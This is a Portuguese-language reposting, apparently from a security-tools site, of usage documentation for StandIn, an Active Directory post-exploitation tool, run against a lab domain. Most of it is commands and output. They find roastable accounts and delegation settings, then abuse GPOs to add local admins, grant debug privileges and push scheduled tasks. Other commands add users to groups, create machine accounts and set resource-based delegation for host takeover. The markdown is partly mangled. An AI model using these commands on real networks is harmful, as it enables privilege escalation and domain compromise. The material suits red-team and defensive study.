[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH

[+] Updating userAccountControl.. |_ Success

C:> StandIn.exe --asrep

[?] Using DC : m-w16-dc01.main.redhook.local

[?] Found 0 object(s) that do not require Kerberos preauthentication..

root@kitploit:~
## SID

#### Caso de Uso

> *Às vezes você tem um `SID` ou `samAccountName` e precisa obter o outro. Esta é uma função auxiliar simples para fazer isso por você.*

#### Sintaxe

Converta `SID` ou `samAccountName` para o `SID` do usuário e `NTAccount`.```
C:\> StandIn.exe --sid user001

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=user 001
    Path     : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local

[+] User     : REDHOOK.LOCAL\user001
    SID      : S-1-5-21-315358687-3711474269-2098994107-1105

C:\> StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=user 001
    Path     : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local

[+] User     : REDHOOK.LOCAL\user001
    SID      : S-1-5-21-315358687-3711474269-2098994107-1105

ASREP

Use Case

Esta função enumera todas as contas no AD que estão atualmente habilitadas e possuem DONT_REQUIRE_PREAUTH como parte das suas flags userAccountControl. Essas contas podem ser AS-REP roasted, este processo é muito semelhante ao kerberoasting.

Syntax

Retorna todas as contas que são ASREP roastable.``` C:> StandIn.exe --asrep

[?] Using DC : m-w16-dc01.main.redhook.local

[?] Found 1 object(s) that do not require Kerberos preauthentication..

[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH

root@kitploit:~
## PASSWD_NOTREQD

#### Caso de Uso

> *Esta função enumera todas as contas no AD que estão atualmente habilitadas e têm `PASSWD_NOTREQD` como parte de suas flags `userAccountControl`. Essas contas podem ter senhas em branco apesar da imposição de GPO, mas também podem ter uma senha configurada.*

#### Sintaxe

Retorna todas as contas que possuem `PASSWD_NOTREQD` definido.```
C:\> StandIn.exe --passnotreq

[?] Using DC : m-w16-dc01.main.redhook.local

[?] Found 2 object(s) that do not require a password..

[*] SamAccountName           : passnotreq
    DistinguishedName        : CN=passnotreq,CN=Users,DC=redhook,DC=local
    PwdLastSet               : 6/6/2021 10:47:27 PM UTC
    lastlogon                : 0x0
    userAccountControl       : PASSWD_NOTREQD, NORMAL_ACCOUNT

[*] SamAccountName           : REDHOOKSLSRV$
    DistinguishedName        : CN=RedHookSLSRV,CN=Computers,DC=redhook,DC=local
    PwdLastSet               : 6/6/2021 10:51:37 PM UTC
    lastlogon                : 0x0
    userAccountControl       : PASSWD_NOTREQD, WORKSTATION_TRUST_ACCOUNT

SPN

Estas funções lidam especificamente com SPNs.

Coleta de SPN

Caso de Uso

Esta função enumera todas as contas no AD que estão atualmente habilitadas e podem sofrer kerberoasting. Algumas informações básicas da conta são adicionadas para contexto: quando a senha foi definida pela última vez, quando a conta foi usada pela última vez e quais tipos de criptografia são suportados.

Sintaxe

Retorna todas as contas que são kerberoastable.``` C:> StandIn.exe --spn

[?] Using DC : m-w16-dc01.main.redhook.local [?] Found 1 kerberostable users..

[*] SamAccountName : SimCritical DistinguishedName : CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local ServicePrincipalName : ldap/M-2012R2-03.main.redhook.local PwdLastSet : 11/2/2020 7:06:17 PM UTC lastlogon : 0x0 Supported ETypes : RC4_HMAC_DEFAULT

root@kitploit:~
### Set SPN

#### Use Case

> *Com as permissões apropriadas, esta função permite adicionar e remover um `SPN` de um `samAccountName`.*

#### Syntax

Adicionar e remover `SPN's` de um `samAccountName`.```
C:\> StandIn.exe --setspn user001 --principal MSSQL/Alchimiae --add

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=user 001
    Path     : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local

[*] SamAccountName         : user001
    DistinguishedName      : CN=user 001,CN=Users,DC=redhook,DC=local

[+] Adding servicePrincipalName : MSSQL/Alchimiae
    |_ Success

C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=user 001
    Path     : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local

[?] Iterating object properties
    |_ Applying property filter => serviceprincipalname

[+] serviceprincipalname
    |_ HTTP/Alchimiae
    |_ MSSQL/Alchimiae

C:\>StandIn.exe --setspn user001 --principal HTTP/Alchimiae --remove

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=user 001
    Path     : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local

[*] SamAccountName         : user001
    DistinguishedName      : CN=user 001,CN=Users,DC=redhook,DC=local
    ServicePrincipalName   : HTTP/Alchimiae
                             MSSQL/Alchimiae

[+] Removing servicePrincipalName : HTTP/Alchimiae
    |_ Success

C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=user 001
    Path     : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local

[?] Iterating object properties
    |_ Applying property filter => serviceprincipalname

[+] serviceprincipalname
    |_ MSSQL/Alchimiae

Delegação irrestrita / restrita / restrita baseada em recursos

Caso de Uso

Esta função enumera todas as contas que têm permissão para realizar delegação irrestrita, delegação restrita ou delegação restrita baseada em recursos. Esses ativos podem ser usados para expandir o acesso ou atingir objetivos.

Sintaxe

Retorna todas as contas que possuem permissões de delegação irrestrita ou restrita, ou possuem privilégios de delegação restrita baseada em recursos de entrada.``` C:> StandIn.exe --delegation

[?] Using DC : m-w16-dc01.main.redhook.local

[?] Found 3 object(s) with unconstrained delegation..

[*] SamAccountName : M-2019-03$ DistinguishedName : CN=M-2019-03,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

[*] SamAccountName : M-W16-DC01$ DistinguishedName : CN=M-W16-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

[*] SamAccountName : M-W19-DC01$ DistinguishedName : CN=M-W19-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

[?] Found 2 object(s) with constrained delegation..

[*] SamAccountName : M-2019-04$ DistinguishedName : CN=M-2019-04,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : HOST/m-w16-dc01.main.redhook.local/main.redhook.local HOST/m-w16-dc01.main.redhook.local HOST/M-W16-DC01 HOST/m-w16-dc01.main.redhook.local/MAIN HOST/M-W16-DC01/MAIN Protocol Transition : False userAccountControl : WORKSTATION_TRUST_ACCOUNT

[*] SamAccountName : M-2019-05$ DistinguishedName : CN=M-2019-05,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : cifs/m-2012r2-03.main.redhook.local cifs/M-2012R2-03 Protocol Transition : True userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION

[?] Found 1 object(s) with resource-based constrained delegation..

[*] SamAccountName : M-10-1909-01$ DistinguishedName : CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local Inbound Delegation : Server Admins [GROUP] userAccountControl : WORKSTATION_TRUST_ACCOUNT

root@kitploit:~
## DC's

#### Caso de Uso

> *Esta função fornece consciência situacional ao encontrar todos os controladores de domínio e listar algumas de suas propriedades, incluindo suas atribuições de função.*

#### Sintaxe

Obter todos os controladores de domínio.```
C:\> StandIn.exe --dc

[?] Using DC    : m-w16-dc01.main.redhook.local
    |_ Domain   : main.redhook.local

[*] Host                  : m-w16-dc01.main.redhook.local
    Domain                : main.redhook.local
    Forest                : main.redhook.local
    SiteName              : Default-First-Site-Name
    IP                    : 10.42.54.5
    OSVersion             : Windows Server 2016 Datacenter
    Local System Time UTC : Tuesday, 03 November 2020 03:29:17
    Role                  : SchemaRole
                            NamingRole
                            PdcRole
                            RidRole
                            InfrastructureRole

[*] Host                  : m-w19-dc01.main.redhook.local
    Domain                : main.redhook.local
    Forest                : main.redhook.local
    SiteName              : Default-First-Site-Name
    IP                    : 10.42.54.13
    OSVersion             : Windows Server 2019 Datacenter
    Local System Time UTC : Tuesday, 03 November 2020 03:29:17

Trust

Caso de Uso

Esta função fornece consciência situacional encontrando todas as confianças de domínio.

Sintaxe

Obter todas as relações de confiança para o domínio atual.``` C:> StandIn.exe --trust

[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local

[>] Source : main.redhook.local Target : redhook.local TrustDirection : Bidirectional TrustType : ParentChild

root@kitploit:~
## Operações GPO

Essas funções lidam especificamente com a manipulação de GPO.

### Listar GPO's

#### Caso de Uso

> *Esta função pode enumerar todos os objetos de `Group Policy` do domínio. Opcionalmente, você pode usar wildcard `--filter` e `--limit` na quantidade de entradas retornadas. Você também pode consultar as ACLs dos objetos GPO com `--acl`.*

#### Sintaxe

Enumere objetos GPO e revise as ACLs dos GPOs.```
C:\> StandIn.exe --gpo

[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count         : 3
    |_ Result limit          : 50

[?] Object   : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
    Path     : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
    DisplayName              : Default Domain Controllers Policy
    CN                       : {6AC1786C-016F-11D2-945F-00C04fB984F9}
    GPCFilesysPath           : \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
    GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
    WhenCreated              : 6/3/2021 10:30:25 AM
    WhenChanged              : 6/3/2021 10:30:25 AM

[?] Object   : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
    Path     : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
    DisplayName              : Default Domain Policy
    CN                       : {31B2F340-016D-11D2-945F-00C04FB984F9}
    GPCFilesysPath           : \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
    GPCMachineExtensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
    WhenCreated              : 6/3/2021 10:30:25 AM
    WhenChanged              : 6/5/2021 11:59:55 PM

[?] Object   : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
    Path     : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
    DisplayName              : Shards
    CN                       : {028A7368-C524-46AA-B27A-CE8BDAC4EA66}
    GPCFilesysPath           : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
    GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
    WhenCreated              : 6/4/2021 2:11:43 PM
    WhenChanged              : 6/4/2021 11:33:33 PM

C:\> StandIn.exe --gpo --filter Shards --acl

[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count         : 1
    |_ Result limit          : 50
    |_ Applying search filter

[?] Object   : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
    Path     : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
    GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
    Path           : OK

[+] Account       : CREATOR OWNER
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : InheritOnly

[+] Account       : NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
    Type          : Allow
    Rights        : ReadAndExecute, Synchronize
    Inherited ACE : False
    Propagation   : None

[+] Account       : NT AUTHORITY\Authenticated Users
    Type          : Allow
    Rights        : ReadAndExecute, Synchronize
    Inherited ACE : False
    Propagation   : None

[+] Account       : NT AUTHORITY\SYSTEM
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

[+] Account       : REDHOOK\Domain Admins
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

[+] Account       : REDHOOK\Enterprise Admins
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

[+] Account       : REDHOOK\user001
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

GPO adicionar administrador local

Com as permissões apropriadas, é possível adicionar um usuário de domínio ao grupo BUILTIN\Administrators em um GPO vulnerável.

Sintaxe

Adiciona usuário ao grupo BUILTIN\Administrators para todos os objetos de computador vinculados ao GPO Shards. Esta função pode tanto criar os arquivos necessários quanto atualizar arquivos existentes. Use com cautela.``` C:> StandIn.exe --gpo --filter Shards --localadmin user002

[?] Using DC : m-w16-dc01.main.redhook.local

[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}

[+] User Object Found Object : CN=user 002 Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local SID : S-1-5-21-315358687-3711474269-2098994107-1106

[?] GPO Version User : 0 Computer : 0

[+] Writing GPO changes |_ Creating GptTmpl.inf |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCMachineExtensionNames

root@kitploit:~
### Adicionar privilégio de usuário no GPO

> *Com as permissões adequadas, é possível ativar um privilégio de token para um usuário de domínio em um GPO vulnerável.*

#### Sintaxe

Adicionar privilégio de `token` a uma conta de usuário para todos os objetos de computador vinculados ao GPO `Shards`. Esta função pode tanto criar os arquivos necessários quanto atualizar arquivos existentes. **Use com cautela.**```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"

[+] Validating account rights
    |_ Rights count: 2
       |_ SeDebugPrivilege
       |_ SeLoadDriverPrivilege

[?] Using DC : m-w16-dc01.main.redhook.local

[+] GPO Object Found
    Object   : CN={58890948-8DE3-4A39-8C40-F68004186693}
    Path     : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
    GP Path  : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}

[+] User Object Found
    Object   : CN=user 002
    Path     : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local
    SID      : S-1-5-21-315358687-3711474269-2098994107-1106

[?] GPO Version
    User     : 0
    Computer : 1

[+] Writing GPO changes
    |_ Updating existing GptTmpl.inf
       |_ Adding GPO Privileges
       |_ Updating revision
    |_ Updating gpt.inf
    |_ Updating AD object
       |_ Incrementing version number
       |_ Updating gPCMachineExtensionNames

Adicionar tarefa imediata ao GPO

Com as permissões apropriadas, é possível adicionar uma tarefa imediata ao componente Utilizador ou Computador do GPO. Opcionalmente, essas tarefas podem ser limitadas para se aplicar a um único utilizador ou a um único computador.

Syntax

Adicionar uma tarefa genérica de Computador que será executada para todos os objetos de computador vinculados ao GPO Shards. Além disso, adicionar uma tarefa direcionada de Utilizador que só será executada para um utilizador de domínio específico. Esta função pode tanto criar os ficheiros necessários como atualizar ficheiros existentes. Use com cuidado.``` C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"

[?] Using DC : m-w16-dc01.main.redhook.local

[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}

[?] GPO Version User : 0 Computer : 2

[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Updating gPCMachineExtensionNames

C:> StandIn.exe --gpo --filter Shards --tasktype user --taskname Ivonis --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args" --target "REDHOOK\user001" --targetsid S-1-5-21-315358687-3711474269-2098994107-1105

[?] Using DC : m-w16-dc01.main.redhook.local

[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}

[?] GPO Version User : 0 Computer : 3

[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCUserExtensionNames

root@kitploit:~
### GPO aumentar versão de usuário / computador

> *Enquanto as funções GPO anteriores oferecem primitivas de exploração poderosas, pode ser útil ter a capacidade de editar manualmente `GPO's` no `SysVol`. Assim que qualquer GPO for modificado manualmente, a versão do objeto AD deve ser sincronizada para propagar corretamente as alterações. Esta função faz isso.*

#### Sintaxe

Aumentar a versão `User` ou `Computer` do GPO no objeto AD associado.```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype user

[?] Using DC : m-w16-dc01.main.redhook.local

[+] GPO Object Found
    Object   : CN={58890948-8DE3-4A39-8C40-F68004186693}
    Path     : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
    GP Path  : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}

[?] Current GPO Versioning
    User     : 1
    Computer : 3

--> Incrementing user version

C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype computer

[?] Using DC : m-w16-dc01.main.redhook.local

[+] GPO Object Found
    Object   : CN={58890948-8DE3-4A39-8C40-F68004186693}
    Path     : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
    GP Path  : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}

[?] Current GPO Versioning
    User     : 2
    Computer : 3

--> Incrementing computer version

Política

Caso de Uso

Esta função tenta exibir algumas informações básicas de política para consciência situacional.

Sintaxe

Leia a Default Domain Policy e extraia algumas informações de política de usuário/sessão. Se a política padrão foi renomeada, você pode especificá-la com --filter ou, alternativamente, realizar uma consulta --object para a raiz do domínio (ex: distinguishedname=DC=redhook,DC=local).``` C:> StandIn.exe --policy

[?] Using DC : m-w16-dc01.main.redhook.local

[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9} Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local Policy Root : \redhook.local\sysvol\redhook.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}

[+] Domain Policy |_ MinimumPasswordAge : 1 |_ MaximumPasswordAge : 42 |_ MinimumPasswordLength : 7 |_ PasswordComplexity : 1 |_ PasswordHistorySize : 24 |_ LockoutBadCount : 5 |_ ResetLockoutCount : 30 |_ LockoutDuration : 30 |_ LSAAnonymousNameLookup : 0 |_ Kerberos max User ticket lifetime : 10 |_ Kerberos max Service ticket lifetime : 600 |_ Kerberos max User ticket renewal lifetime : 7

root@kitploit:~
## DNS

#### Caso de Uso

> *Esta função busca informações de DNS de domínio do AD e suporta filtragem curinga.*

#### Sintaxe

Lê entradas de DNS sob objetos `CN=MicrosoftDNS` específicos e analisa os dados DNS binários. O `search base` pode ser ajustado especificando `--legacy` ou `--forest`. Você também pode limitar os resultados retornados com `--limit`.```
C:\Users\user001\Desktop>StandIn.exe --dns --filter RedHook-CLI

[+] Search Base: LDAP://DC=redhook.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=redhook,DC=local

[+] Object : RedHook-CLI-01
    |_ DNS_RPC_RECORD_A : 10.0.0.100

[+] Object : RedHook-CLI-02
    |_ DNS_RPC_RECORD_A : 10.0.0.101

Operações de Grupos

Estas funções lidam especificamente com grupos de domínio.

Listar associação a grupos

Caso de Uso

Esta função fornece consciência situacional, listando todos os membros de um grupo de domínio, incluindo seu tipo (usuário ou grupo aninhado). Como entrada, também pode receber um samAccountName e retornará de quais grupos o usuário faz parte.

Sintaxe

Enumere associações a grupos ou associações de usuários e forneça detalhes rudimentares para os objetos membros.``` C:> StandIn.exe --group "Server Admins"

[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : Group resolution Group : Server Admins

[+] Members

[?] Path : LDAP://CN=Workstation Admins,OU=Groups,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : Workstation Admins Type : SAM_GROUP_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1108

[?] Path : LDAP://CN=Server Admin 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin001 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1111

[?] Path : LDAP://CN=Server Admin 002,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin002 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1184

[?] Path : LDAP://CN=Server Admin 003,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin003 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1185

[?] Path : LDAP://CN=Server Admin 004,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin004 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1186

[?] Path : LDAP://CN=Server Admin 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin005 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1187

[?] Path : LDAP://CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : SimCritical Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1204

C:> StandIn.exe --group user001

[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : User resolution User : user 001

[+] Memberships

[?] Path : LDAP://<SID=010500000000000515000000dffdcb125d9a38ddbb1b1c7d01020000> samAccountName : Domain Users Type : SAM_GROUP_OBJECT SID : S-1-5-21-315358687-3711474269-2098994107-513

root@kitploit:~
### Adicionar / remover usuário de grupo

#### Caso de Uso

> *Com acesso apropriado, o operador pode adicionar ou remover uma conta NTAccount de um grupo de domínio.*

#### Sintaxe

Adicione um identificador NTAccount a um grupo de domínio. Normalmente, isso seria um usuário, mas também pode ser um grupo. Por fim, remova o identificador NTAccount do grupo de domínio.```
C:\> StandIn.exe --group lowprivbutmachineaccess

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type     : Group resolution
    Group    : lowprivbutmachineaccess

[+] Members

[?] Path           : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
    samAccountName : s4uUser
    Type           : User
    SID            : S-1-5-21-1293271031-3053586410-2290657902-1197

C:\> StandIn.exe --group lowprivbutmachineaccess --ntaccount "MAIN\user001" --add

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group    : lowPrivButMachineAccess
    GUID     : 37e3d957-af52-4cc6-8808-56330f8ec882

[+] Adding user to group
    |_ Success

C:\> StandIn.exe --group lowprivbutmachineaccess

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type     : Group resolution
    Group    : lowprivbutmachineaccess

[+] Members

[?] Path           : LDAP://CN=User 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
    samAccountName : user001
    Type           : User
    SID            : S-1-5-21-1293271031-3053586410-2290657902-1106

[?] Path           : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
    samAccountName : s4uUser
    Type           : User
    SID            : S-1-5-21-1293271031-3053586410-2290657902-1197

C:\> StandIn.exe --group testgroup --ntaccount "MAIN\user001" --remove

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group    : lowPrivButMachineAccess
    GUID     : 37e3d957-af52-4cc6-8808-56330f8ec882

[+] Removing user from group
    |_ Success

Operações de Objeto de Máquina

Essas funções são especificamente para operações de máquina e esperam o nome da máquina como entrada.

Criar objeto de máquina

Caso de Uso

O operador pode desejar criar um objeto de máquina para realizar um ataque de delegação restrita baseada em recurso. Por padrão, qualquer usuário do domínio tem a capacidade de criar até 10 máquinas no domínio local.

Sintaxe

Cria um novo objeto de máquina com uma senha aleatória. A cota de usuário ms-DS-MachineAccountQuota se aplica a esta operação.``` C:> StandIn.exe --computer M-1337-b33f --make

[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local |_ DN : CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local |_ Password : MlCGkaacS5SRUOt

[+] Machine account added to AD..

root@kitploit:~
A propriedade `ms-DS-MachineAccountQuota` existe no objeto raiz do domínio. Se você precisar verificar a cota, pode realizar uma pesquisa de objeto conforme mostrado abaixo.```
C:\> StandIn.exe --object ms-DS-MachineAccountQuota=*

Desativar objeto de máquina

Caso de Uso

Usuários padrão não têm a capacidade de excluir um objeto de máquina, no entanto, um usuário que criar uma máquina pode posteriormente desativar o objeto de máquina.

Sintaxe

Desative uma máquina que foi criada anteriormente. Esta ação deve ser realizada no contexto do mesmo usuário que criou a máquina. Observe que usuários não elevados não podem excluir objetos de máquina, apenas desativá-los.``` C:> StandIn.exe --computer M-1337-b33f --disable

[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-1337-b33f Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local

[+] Machine account currently enabled |_ Account disabled..

root@kitploit:~
### Excluir objeto de máquina

#### Caso de Uso

> *Com privilégios elevados de AD, o operador pode excluir um objeto de máquina, como um criado anteriormente na cadeia de ataque.*

#### Sintaxe

Use um contexto elevado para excluir um objeto de máquina.```
C:\> StandIn.exe --computer M-1337-b33f --delete

[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object   : CN=M-1337-b33f
    Path     : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local

[+] Machine account deleted from AD

Add msDS-AllowedToActOnBehalfOfOtherIdentity

Caso de Uso

Com acesso de escrita a um objeto de máquina, esta função permite ao operador adicionar uma propriedade msDS-AllowedToActOnBehalfOfOtherIdentity à máquina, que é necessária para realizar um ataque de delegação restrita baseada em recurso.

Sintaxe

Adiciona uma propriedade msDS-AllowedToActOnBehalfOfOtherIdentity à máquina juntamente com um SID para facilitar a tomada de controlo do host usando delegação restrita baseada em recurso.``` C:> StandIn.exe --computer m-10-1909-03 --sid S-1-5-21-1293271031-3053586410-2290657902-1205

[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] SID added to msDS-AllowedToActOnBehalfOfOtherIdentity

C:> StandIn.exe --object samaccountname=m-10-1909-03$

[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local

[?] Iterating object properties

[+] logoncount |_ 107 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195771 [+] instancetype |_ 4 [+] name |_ M-10-1909-03 [+] badpasswordtime |_ 7/9/2020 5:07:11 PM UTC [+] pwdlastset |_ 10/29/2020 6:44:08 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-03 |_ TERMSRV/m-10-1909-03.main.redhook.local |_ WSMAN/m-10-1909-03 |_ WSMAN/m-10-1909-03.main.redhook.local |_ RestrictedKrbHost/M-10-1909-03 |_ HOST/M-10-1909-03 |_ RestrictedKrbHost/m-10-1909-03.main.redhook.local |_ HOST/m-10-1909-03.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 10/29/2020 12:29:26 PM UTC [+] usncreated |_ 31127 [+] objectguid |_ c02cff97-4bfd-457c-a568-a748b0725c2f [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 5:05:08 PM [+] adspath |_ LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-03 